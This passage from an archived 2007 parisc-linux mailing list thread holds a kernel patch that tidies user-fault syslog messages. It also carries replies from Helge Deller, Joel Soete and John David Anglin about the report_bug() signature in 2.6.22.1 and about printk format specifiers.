+			printk("User Fault (long pointer) (trap #%d)\n",
 			       code);
-		printk("pid=%d command='%s'\n", current->pid, current->comm);
 		show_regs(regs);
 #endif
 		si.si_signo = SIGSEGV;
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index f6f6755..ef6394f 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -36,7 +36,7 @@
 DEFINE_PER_CPU(struct exception_data, exception_data);
 
 /*
- * parisc_acctyp(unsigned int inst) --
+ * parisc_acctyp(unsigned long code, unsigned int inst) --
  *    Given a PA-RISC memory access instruction, determine if the
  *    the instruction would perform a memory read or memory write
  *    operation.
@@ -208,13 +208,10 @@ bad_area:
 		struct siginfo si;
 
 #ifdef PRINT_USER_FAULTS
-		printk(KERN_DEBUG "\n");
-		printk(KERN_DEBUG "do_page_fault() pid=%d command='%s' type=%lu address=0x%08lx\n",
-		    tsk->pid, tsk->comm, code, address);
-		if (vma) {
-			printk(KERN_DEBUG "vm_start = 0x%08lx, vm_end = 0x%08lx\n",
-					vma->vm_start, vma->vm_end);
-		}
+		printk(KERN_DEBUG "%s(%d): %s (trap #%ld) for "
+				  "addr 0x%08lx at ip=0x%08lx\n",
+			tsk->comm, tsk->pid, interruption_descr(code), 
+			code, address, instruction_pointer(regs));
 		show_regs(regs);
 #endif
 		/* FIXME: actually we need to get the signo and code correct */
diff --git a/include/asm-parisc/traps.h b/include/asm-parisc/traps.h
index 1945f99..ee92563 100644
--- a/include/asm-parisc/traps.h
+++ b/include/asm-parisc/traps.h
@@ -5,8 +5,9 @@
 struct pt_regs;
 
 /* traps.c */
-void parisc_terminate(char *msg, struct pt_regs *regs,
-		int code, unsigned long offset);
+const char * interruption_descr(unsigned long code);
+void __noreturn parisc_terminate(const char *msg, struct pt_regs *regs,
+		unsigned long code, unsigned long offset);
 
 /* mm/fault.c */
 void do_page_fault(struct pt_regs *regs, unsigned long code,
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of
Date: Sun, 22 Jul 2007 12:01:33 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <46A3471D.6030704__42171.8076024719$1416624416$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624416 24757 80.91.229.3 (22 Nov 2014 02:46:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2007 12:01:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 22 Jul 2007 14:01:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FCC77DC41;
	Sun, 22 Jul 2007 06:01:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24893-02; Sun, 22 Jul 2007 06:01:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13CC67DC3C;
	Sun, 22 Jul 2007 06:01:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4ADE87DC34
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jul 2007 06:01:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17829-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jul 2007 06:01:43 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 849897DC1B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jul 2007 06:01:42 -0600 (MDT)
Original-Received: from (ip-213-49-72-169.dsl.scarlet.be [213.49.72.169]) 
	by guri.is.scarlet.be  with ESMTP id l6MC1c022903; 
	Sun, 22 Jul 2007 14:01:39 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.4 (X11/20070622)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AXWacxoVeWU6YLeUfHVzZEo5U3U4N88Z
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24726

Hello Helge,

Just try your patch against latest 2.6.22-pa1 and it seems that:
@@ -303,7 +301,7 @@ static void handle_break(struct pt_regs *regs)
  	if (unlikely(iir == PARISC_BUG_BREAK_INSN && !user_mode(regs))) {
  		/* check if a BUG() or WARN() trapped here.  */
  		enum bug_trap_type tt;
-		tt = report_bug(regs->iaoq[0] & ~3, regs);
+		tt = report_bug(instruction_pointer(regs), regs);

should be
+		tt = report_bug(instruction_pointer(regs));

Hth,
	J.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some warning: ... cleanup; relay no interest?
Date: Sun, 22 Jul 2007 12:01:40 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <46A34724.1090108__44997.8113793351$1416624416$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624416 24761 80.91.229.3 (22 Nov 2014 02:46:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2007 12:02:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 22 Jul 2007 14:02:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 142D17DC7B;
	Sun, 22 Jul 2007 06:02:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24972-05; Sun, 22 Jul 2007 06:02:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1DAF7DC77;
	Sun, 22 Jul 2007 06:01:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 115727DC3C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jul 2007 06:01:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17445-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jul 2007 06:01:48 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 94B157DC41
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Jul 2007 06:01:47 -0600 (MDT)
Original-Received: from (ip-213-49-72-169.dsl.scarlet.be [213.49.72.169])
	by weequay.is.scarlet.be  with ESMTP id l6MC1hd02338;
	Sun, 22 Jul 2007 14:01:43 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.4 (X11/20070622)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FwPpAZE6a2A6a7vDOHQyFjMyOWhhakdF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24727

Hello *,

There was <http://lists.parisc-linux.org/pipermail/parisc-linux/2007-June/031749.html>

Really no interest, just missed or did I made a big mistake?

Tx,
	J.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of
Date: Mon, 23 Jul 2007 22:21:06 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <200707232221.06720.deller__13450.3740621314$1416624416$gmane$org@gmx.de>
References: <46A3471D.6030704@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624416 24763 80.91.229.3 (22 Nov 2014 02:46:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:56 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jul 2007 20:21:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 23 Jul 2007 22:21:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A66C27DC9E;
	Mon, 23 Jul 2007 14:21:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01898-01; Mon, 23 Jul 2007 14:21:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E6BBE7DCA6;
	Mon, 23 Jul 2007 14:21:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D4A97DC83
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Jul 2007 14:21:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01509-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Jul 2007 14:21:13 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id E074E7DC7B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Jul 2007 14:21:11 -0600 (MDT)
Original-Received: (qmail invoked by alias); 23 Jul 2007 20:21:08 -0000
Original-Received: from mnhm-590c245e.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.36.94]
	by mail.gmx.net (mp045) with SMTP; 23 Jul 2007 22:21:08 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <46A3471D.6030704@scarlet.be>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7D+ScSFWbGI1cqaDYmRn2FdncmZ1Zpzd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24728

Hi Joel,

On Sunday 22 July 2007, Joel Soete wrote:
> Just try your patch against latest 2.6.22-pa1 and it seems that:
>   		enum bug_trap_type tt;
> -		tt = report_bug(regs->iaoq[0] & ~3, regs);
> +		tt = report_bug(instruction_pointer(regs), regs);
> should be
> +		tt = report_bug(instruction_pointer(regs));

Why ?
In include/linux/bug.h the function report_bug() is defined as:
	report_bug(unsigned long bug_addr, struct pt_regs *regs)

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; relay no interest?
Date: Mon, 23 Jul 2007 22:38:11 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <200707232238.11288.deller__8963.25093131072$1416624417$gmane$org@gmx.de>
References: <46A34724.1090108@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624417 24768 80.91.229.3 (22 Nov 2014 02:46:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:57 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jul 2007 20:38:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 23 Jul 2007 22:38:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B13F87DCA2;
	Mon, 23 Jul 2007 14:38:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01898-09; Mon, 23 Jul 2007 14:38:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 934BA7DCB8;
	Mon, 23 Jul 2007 14:38:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 907457DC9E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Jul 2007 14:38:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01989-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Jul 2007 14:38:13 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 551317DC98
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Jul 2007 14:38:13 -0600 (MDT)
Original-Received: (qmail invoked by alias); 23 Jul 2007 20:38:12 -0000
Original-Received: from mnhm-590c245e.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.36.94]
	by mail.gmx.net (mp021) with SMTP; 23 Jul 2007 22:38:12 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <46A34724.1090108@scarlet.be>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8COScSBWbGI1cqaDYmRnmkJncmZ1ZpwP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24729

Hi Joel,

On Sunday 22 July 2007, Joel Soete wrote:
> There was <http://lists.parisc-linux.org/pipermail/parisc-linux/2007-June/031749.html>
> 
> Really no interest, just missed or did I made a big mistake?

I don't like that patch very much.
It converts everything needlessly to (unsigned long long), which is 64bit long.

Wouldn't it be better to use "%z" or "%z"<something> ?
%z refers to size_t which should be the native bit length.
I'm not sure what others on this list think about it, or if this even works with 64bit...

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of
Date: Mon, 23 Jul 2007 16:47:03 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200707232047.l6NKl4uj001716__20374.3782513358$1416624417$gmane$org@hiauly1.hia.nrc.ca>
References: <200707232221.06720.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624417 24769 80.91.229.3 (22 Nov 2014 02:46:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 soete.joel@scarlet.be
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jul 2007 20:47:07 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx031) with SMTP; 23 Jul 2007 22:47:07 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l6NKl5Zr001717;
	Mon, 23 Jul 2007 16:47:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l6NKl4uj001716;
	Mon, 23 Jul 2007 16:47:04 -0400 (EDT)
In-Reply-To: <200707232221.06720.deller@gmx.de> from "Helge Deller" at Jul 23, 2007 10:21:06 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gmbEIi9Oa0ApbL6aejEzvnY3Njh6dI6X
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24730

> Hi Joel,
> 
> On Sunday 22 July 2007, Joel Soete wrote:
> > Just try your patch against latest 2.6.22-pa1 and it seems that:
> >   		enum bug_trap_type tt;
> > -		tt = report_bug(regs->iaoq[0] & ~3, regs);
> > +		tt = report_bug(instruction_pointer(regs), regs);
> > should be
> > +		tt = report_bug(instruction_pointer(regs));
> 
> Why ?
> In include/linux/bug.h the function report_bug() is defined as:
> 	report_bug(unsigned long bug_addr, struct pt_regs *regs)

In 2.6.22.1, it's defined as:
enum bug_trap_type report_bug(unsigned long bug_addr);

I had to make the same change as Joel.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:36:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of
Date: Mon, 23 Jul 2007 22:49:25 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <200707232249.25730.deller__28120.7876200371$1416624417$gmane$org@gmx.de>
References: <200707232047.l6NKl4uj001716@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624417 24771 80.91.229.3 (22 Nov 2014 02:46:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:57 +0000 (UTC)
Cc: soete.joel@scarlet.be,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jul 2007 20:49:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 23 Jul 2007 22:49:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEAED7DCBC;
	Mon, 23 Jul 2007 14:49:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02417-06; Mon, 23 Jul 2007 14:49:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A7667DCC8;
	Mon, 23 Jul 2007 14:49:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 575547DCB7
	for <parisc-linux@lists.parisc-linux.org>;
